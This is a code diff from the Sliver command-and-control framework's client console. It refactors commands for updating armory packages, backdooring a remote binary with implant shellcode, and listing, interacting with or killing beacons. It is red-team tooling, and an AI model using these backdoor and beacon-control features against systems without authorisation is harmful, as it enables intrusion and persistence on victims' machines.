type VersionInformation struct {
|
||||
OldVersion string
|
||||
NewVersion string
|
||||
ArmoryName string
|
||||
}
|
||||
|
||||
type PackageType uint
|
||||
|
||||
const (
|
||||
AliasPackage PackageType = iota
|
||||
ExtensionPackage
|
||||
)
|
||||
|
||||
type UpdateIdentifier struct {
|
||||
Type PackageType
|
||||
Name string
|
||||
}
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var selectedUpdates []UpdateIdentifier
|
||||
var err error
|
||||
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
armoryName, err := cmd.Flags().GetString("armory")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
// Find PK for the armory name
|
||||
armoryPK := getArmoryPublicKey(armoryName)
|
||||
|
||||
// If the armory with the name is not found, print a warning
|
||||
if cmd.Flags().Changed("armory") && armoryPK == "" {
|
||||
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
|
||||
}
|
||||
|
||||
// Check packages for updates
|
||||
aliasUpdates := checkForAliasUpdates(armoryPK)
|
||||
extUpdates := checkForExtensionUpdates(armoryPK)
|
||||
|
||||
// Display a table of results
|
||||
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
|
||||
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
|
||||
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
|
||||
selectedUpdates, err = getUpdatesFromUser(updateKeys)
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if len(selectedUpdates) == 0 {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
con.PrintSuccessf("All packages are up to date\n")
|
||||
return
|
||||
}
|
||||
|
||||
for _, update := range selectedUpdates {
|
||||
switch update.Type {
|
||||
case AliasPackage:
|
||||
aliasVersionInfo, ok := aliasUpdates[update.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err)
|
||||
// Keep going because other packages might not encounter errors
|
||||
continue
|
||||
}
|
||||
err = installAliasPackage(updatedPackage, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
|
||||
}
|
||||
case ExtensionPackage:
|
||||
extVersionInfo, ok := extUpdates[update.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
|
||||
continue
|
||||
}
|
||||
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
|
||||
}
|
||||
default:
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
|
||||
cachedAliases, _ := packageManifestsInCache()
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := ioutil.ReadFile(aliasManifestPath)
|
||||
data, err := os.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -78,21 +152,33 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
we have to have some type of versioning. We do not have an official versioning scheme for packages,
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
|
||||
if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.CommandName] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestAlias.Version,
|
||||
ArmoryName: latestAlias.ArmoryName,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
_, cachedExtensions := packageManifestsInCache()
|
||||
// Return a map of extension name to minimum version to install
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := ioutil.ReadFile(extManifestPath)
|
||||
data, err := os.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -101,12 +187,149 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
we have to have some type of versioning. We do not have an official versioning scheme for packages,
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
|
||||
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.Name] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestExt.Version,
|
||||
ArmoryName: latestExt.ArmoryName,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
|
||||
/*
|
||||
This function helps us keep updates straight when the user chooses from them. Just in case
|
||||
an alias and an extension exist with the same name, we cannot simply combine the two maps.
|
||||
|
||||
We will assume that no two aliases and no two extensions have the same name.
|
||||
*/
|
||||
|
||||
result := []UpdateIdentifier{}
|
||||
|
||||
aliasNames := util.Keys(aliasUpdates)
|
||||
extensionNames := util.Keys(extensionUpdates)
|
||||
for _, name := range aliasNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: AliasPackage,
|
||||
Name: name,
|
||||
})
|
||||
}
|
||||
for _, name := range extensionNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: ExtensionPackage,
|
||||
Name: name,
|
||||
})
|
||||
}
|
||||
|
||||
sort.Slice(result, func(i, j int) bool {
|
||||
return result[i].Name < result[j].Name
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
|
||||
var (
|
||||
aliasSuffix string
|
||||
extensionSuffix string
|
||||
title string = "Available Updates (%d alias%s, %d extension%s)"
|
||||
)
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetAutoIndex(true)
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if len(aliasUpdates) != 1 {
|
||||
aliasSuffix = "es"
|
||||
}
|
||||
if len(extensionUpdates) != 1 {
|
||||
extensionSuffix = "s"
|
||||
}
|
||||
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Package Name",
|
||||
"Package Type",
|
||||
"Installed Version",
|
||||
"Available Version",
|
||||
})
|
||||
|
||||
for _, key := range updateKeys {
|
||||
var (
|
||||
packageName string
|
||||
packageType string
|
||||
packageVersion VersionInformation
|
||||
ok bool
|
||||
)
|
||||
switch key.Type {
|
||||
case AliasPackage:
|
||||
packageVersion, ok = aliasUpdates[key.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
packageName = key.Name
|
||||
packageType = "Alias"
|
||||
case ExtensionPackage:
|
||||
packageVersion, ok = extensionUpdates[key.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
packageName = key.Name
|
||||
packageType = "Extension"
|
||||
default:
|
||||
continue
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
packageName,
|
||||
packageType,
|
||||
packageVersion.OldVersion,
|
||||
fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
}
|
||||
|
||||
func getUpdatesFromUser(updateKeys []UpdateIdentifier) ([]UpdateIdentifier, error) {
|
||||
options := make([]forms.ArmoryUpdateOption, 0, len(updateKeys))
|
||||
optionIndex := make(map[string]UpdateIdentifier, len(updateKeys))
|
||||
|
||||
for _, key := range updateKeys {
|
||||
packageType := "Alias"
|
||||
if key.Type == ExtensionPackage {
|
||||
packageType = "Extension"
|
||||
}
|
||||
optionID := fmt.Sprintf("%d:%s", key.Type, key.Name)
|
||||
optionLabel := fmt.Sprintf("%s (%s)", key.Name, packageType)
|
||||
options = append(options, forms.ArmoryUpdateOption{
|
||||
ID: optionID,
|
||||
Label: optionLabel,
|
||||
})
|
||||
optionIndex[optionID] = key
|
||||
}
|
||||
|
||||
result, err := forms.ArmoryUpdateForm(options)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
chosenUpdates := make([]UpdateIdentifier, 0, len(result.SelectedIDs))
|
||||
for _, selectedID := range result.SelectedIDs {
|
||||
if update, ok := optionIndex[selectedID]; ok {
|
||||
chosenUpdates = append(chosenUpdates, update)
|
||||
}
|
||||
}
|
||||
|
||||
return chosenUpdates, nil
|
||||
}
|
||||
@@ -1,4 +1,10 @@
|
||||
Backdoor
|
||||
========
|
||||
# client/command/backdoor
|
||||
|
||||
Implements command related to `backdoor`
|
||||
## Overview
|
||||
|
||||
Implements the 'backdoor' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `backdoor.go` – Implements the RPC workflow that backdoors a remote binary with Sliver shellcode for the active session.
|
||||
- `commands.go` – Registers the Cobra command, binds flags/completions, and restricts usage to applicable targets.
|
||||
@@ -19,36 +19,38 @@ package backdoor
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// BackdoorCmd - Command to inject implant code into an existing binary
|
||||
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// BackdoorCmd - Command to inject implant code into an existing binary.
|
||||
func BackdoorCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remoteFilePath := ctx.Args.String("remote-file")
|
||||
remoteFilePath := args[0]
|
||||
if remoteFilePath == "" {
|
||||
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
|
||||
return
|
||||
}
|
||||
|
||||
profileName := ctx.Flags.String("profile")
|
||||
profileName, _ := cmd.Flags().GetString("profile")
|
||||
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
|
||||
backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
package backdoor
|
||||
|
||||
import (
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
backdoorCmd := &cobra.Command{
|
||||
Use: consts.BackdoorStr,
|
||||
Short: "Infect a remote file with a sliver shellcode",
|
||||
Long: help.GetHelpFor([]string{consts.BackdoorStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
GroupID: consts.ExecutionHelpGroup,
|
||||
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
BackdoorCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, backdoorCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("profile", "p", "", "profile to use for service binary")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.BindFlagCompletions(backdoorCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||
})
|
||||
carapace.Gen(backdoorCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the remote file to backdoor"))
|
||||
|
||||
return []*cobra.Command{backdoorCmd}
|
||||
}
|
||||
@@ -1,4 +1,14 @@
|
||||
Beacons
|
||||
========
|
||||
# client/command/beacons
|
||||
|
||||
This package implements the beacons command, which can be used to list and interact with beacons.
|
||||
## Overview
|
||||
|
||||
Implements the 'beacons' command group for the Sliver client console. Handlers map Cobra invocations to beacons workflows such as prune, RM, and watch.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `beacons.go` – Retrieves beacon inventories and renders them in tabular form with optional filtering.
|
||||
- `commands.go` – Declares the beacons command set, binds flags/completions, and wires subcommands like prune, rm, and watch.
|
||||
- `helpers.go` – Provides helper RPC wrappers for selecting, fetching, and listing beacons.
|
||||
- `prune.go` – Implements the prune routine that removes stale beacon entries via the backend API.
|
||||
- `rm.go` – Removes a specific beacon by ID, coordinating confirmation and RPC teardown.
|
||||
- `watch.go` – Streams beacon events in a watch loop, handling cancellation and console interaction.
|
||||
@@ -19,26 +19,27 @@ package beacons
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
killFlag := ctx.Flags.String("kill")
|
||||
killAll := ctx.Flags.Bool("kill-all")
|
||||
func BeaconsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
killFlag, _ := cmd.Flags().GetString("kill")
|
||||
killAll, _ := cmd.Flags().GetBool("kill-all")
|
||||
interact, _ := cmd.Flags().GetString("interact")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
@@ -47,7 +48,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
err = kill.KillBeacon(beacon, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -63,7 +64,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
for _, beacon := range beacons.Beacons {
|
||||
err = kill.KillBeacon(beacon, ctx, con)
|
||||
err = kill.KillBeacon(beacon, cmd, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -72,18 +73,32 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
|
||||
}
|
||||
}
|
||||
filter := ctx.Flags.String("filter")
|
||||
|
||||
if interact != "" {
|
||||
beacon, err := GetBeacon(con, interact)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, strings.Split(beacon.ID, "-")[0])
|
||||
return
|
||||
}
|
||||
|
||||
filter, _ := cmd.Flags().GetString("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
filterRegex, err = regexp.Compile(filterRe)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
grpcCtx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -92,7 +107,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintBeacons - Display a list of beacons
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
|
||||
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) {
|
||||
if len(beacons) == 0 {
|
||||
con.PrintInfof("No beacons 🙁\n")
|
||||
return
|
||||
@@ -101,7 +116,7 @@ func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
|
||||
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverClient) table.Writer {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
@@ -110,25 +125,51 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
windowsBeaconInList := false
|
||||
for _, beacon := range beacons {
|
||||
if beacon.OS == "windows" {
|
||||
windowsBeaconInList = true
|
||||
}
|
||||
}
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
if windowsBeaconInList {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Integrity",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Tasks",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
}
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
@@ -142,6 +183,9 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
if activeBeacon != nil && activeBeacon.ID == beacon.ID {
|
||||
color = console.Green
|
||||
}
|
||||
if beacon.Integrity == "" {
|
||||
beacon.Integrity = "-"
|
||||
}
|
||||
|
||||
// We need a slice of strings so we can apply filters
|
||||
var rowEntries []string
|
||||
@@ -155,16 +199,25 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s (%d)"+console.Normal, beacon.Filename, beacon.PID),
|
||||
}
|
||||
|
||||
if windowsBeaconInList {
|
||||
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, beacon.Integrity))
|
||||
}
|
||||
|
||||
rowEntries = append(rowEntries, []string{
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
}...)
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
package beacons
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// Commands returns the “ command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
beaconsCmd := &cobra.Command{
|
||||
Use: consts.BeaconsStr,
|
||||
Short: "Manage beacons",
|
||||
Long: help.GetHelpFor([]string{consts.BeaconsStr}),
|
||||
GroupID: consts.SliverHelpGroup,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
BeaconsCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("beacons", true, beaconsCmd, func(f *pflag.FlagSet) {
|
||||
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.Bind("beacons", false, beaconsCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("kill", "k", "", "kill the designated beacon")
|
||||
f.BoolP("kill-all", "K", false, "kill all beacons")
|
||||
f.StringP("interact", "i", "", "interact with a beacon")
|
||||
f.BoolP("force", "F", false, "force killing the beacon")
|
||||
|
||||
f.StringP("filter", "f", "", "filter beacons by substring")
|
||||
f.StringP("filter-re", "e", "", "filter beacons by regular expression")
|
||||
})
|
||||
flags.BindFlagCompletions(beaconsCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["kill"] = BeaconIDCompleter(con)
|
||||
(*comp)["interact"] = BeaconIDCompleter(con)
|
||||
})
|
||||
registerBeaconIDFlagCompletion(beaconsCmd, "interact", con)
|
||||
beaconsRmCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove a beacon",
|
||||
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
BeaconsRmCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(beaconsRmCmd).PositionalCompletion(BeaconIDCompleter(con))
|
||||
beaconsCmd.AddCommand(beaconsRmCmd)
|
||||
|
||||
beaconsWatchCmd := &cobra.Command{
|
||||
Use: consts.WatchStr,
|
||||
Short: "Watch your beacons",
|
||||
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
BeaconsWatchCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
beaconsCmd.AddCommand(beaconsWatchCmd)
|
||||
|
||||
beaconsPruneCmd := &cobra.Command{
|
||||
Use: consts.PruneStr,
|
||||
Short: "Prune stale beacons automatically",
|
||||
Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
BeaconsPruneCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin")
|
||||
})
|
||||
beaconsCmd.AddCommand(beaconsPruneCmd)
|
||||
|
||||
return []*cobra.Command{beaconsCmd}
|
||||
}
|
||||
|
||||
// BeaconIDCompleter completes beacon IDs
|
||||
func BeaconIDCompleter(con *console.SliverClient) carapace.Action {
|
||||
callback := func(_ carapace.Context) carapace.Action {
|
||||
return carapace.ActionValuesDescribed(beaconCompletionPairs(con)...).Tag("beacons")
|
||||
}
|
||||
|
||||
return carapace.ActionCallback(callback)
|
||||
}
|
||||
|
||||
func registerBeaconIDFlagCompletion(cmd *cobra.Command, name string, con *console.SliverClient) {
|
||||
if cmd == nil {
|
||||
return
|
||||
